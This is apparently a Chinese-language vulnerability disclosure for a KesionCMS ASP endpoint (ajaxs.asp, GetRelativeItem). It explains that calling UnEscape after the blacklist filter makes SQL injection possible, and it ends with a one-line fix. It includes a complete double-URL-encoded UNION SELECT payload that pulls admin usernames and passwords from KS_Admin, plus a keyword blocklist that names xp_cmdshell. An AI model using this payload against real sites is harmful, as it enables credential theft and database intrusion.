函数过滤混乱导致注入
Dim KS:Set KS=New PublicCls
 Dim Action
 Action=KS.S("Action")
 Select Case Action
  Case "Ctoe" CtoE
  Case "GetTags" GetTags
  Case "GetRelativeItem" GetRelativeItem //问题函数
  ...skip...
  Case "getonlinelist" getonlinelist
 End Select
 Sub GetRelativeItem() //漏洞函数开始
     Dim Key:Key=UnEscape(KS.S("Key"))//漏洞位置,只调用ks.s函数,无其它过滤。
     Dim Rtitle:rtitle=lcase(KS.G("rtitle"))
     Dim RKey:Rkey=lcase(KS.G("Rkey"))
     Dim ChannelID:ChannelID=KS.ChkClng(KS.S("Channelid"))
     Dim ID:ID=KS.ChkClng(KS.G("ID"))
     Dim Param,RS,SQL,k,SqlStr
     If Key<>"" Then
       If (Rtitle="true" Or RKey="true") Then
        If Rtitle="true" Then
          param=Param & " title like '%" & key & "%'"//类似搜索型注入漏洞。
        end if
        If Rkey="true" Then
          If Param="" Then
            Param=Param & " keywords like '%" & key & "%'"
          Else
            Param=Param & " or keywords like '%" & key & "%'"
          End If
        End If
     Else
        Param=Param & " keywords like '%" & key & "%'"
     End If
    End If
     If Param<>"" Then
         Param=" where InfoID<>" & id & " and (" & param & ")"
     else
        Param=" where InfoID<>" & id
     end if
      If ChannelID<>0 Then Param=Param & " and ChannelID=" & ChannelID
      Param=Param & " and verific=1"
     SqlStr="Select top 30 ChannelID,InfoID,Title From KS_ItemInfo " & Param & " order by id desc" //查询 
     Set RS=Server.CreateObject("ADODB.RECORDSET")
     RS.Open SqlStr,conn,1,1
     If Not RS.Eof Then
      SQL=RS.GetRows(-1)
     End If
     RS.Close
     
 先进行了过滤,然后才调用UnEscape解码, 
 Public Function S(Str)
     S = DelSql(Replace(Replace(Request(Str), "'", ""), """", ""))
 Function DelSql(Str)
       Dim SplitSqlStr,SplitSqlArr,I
       SplitSqlStr="dbcc|alter|drop|*|and |exec|or |insert|select|delete|update|count |master|truncate|declare|char|mid|chr|set |where|xp_cmdshell"
       SplitSqlArr = Split(SplitSqlStr,"|")
       For I=LBound(SplitSqlArr) To Ubound(SplitSqlArr)
          If Instr(LCase(Str),SplitSqlArr(I))>0 Then
             Die "<script>alert('系统警告!\n\n1、您提交的数据有恶意字符" & SplitSqlArr(I) &";\n2、您的数据已经被记录;\n3、您的IP:"&GetIP&";\n4、操作日期:"&Now&";\n      Powered By Kesion.Com!');window.close();</script>"
          End if
       Next
       DelSql = Str
     End Function
     
 如果配合Unescape()函数,刚过滤不会生效。可以采用unicode编码方式,则不会在浏览器中出现被过滤的字符。例如,单引号可以编码为。%2527,经过解码后还是“'”号,这样的话,就可以利用类似php的二次编码漏洞的方式绕过过滤了。
注入语句:%') union select 1,2,username+'|'+ password from KS_Admin
 转换如下:
 /plus/ajaxs.asp?action=GetRelativeItem&key=search%2525%2527%2529%2520%2575%256e%2569%256f%256e%2520%2573%2565%256c%2565%2563%2574%2520%2531%252c%2532%252c%2575%2573%2565%2572%256e%2561%256d%2565%252b%2527%257c%2527%252b%2570%2561%2573%2573%2577%256f%2572%2564%2520%2566%2572%256f%256d%2520%254b%2553%255f%2541%2564%256d%2569%256e%2500
 修复方案:
UnEscape()函数调用位置放在函数体内,或者不调用。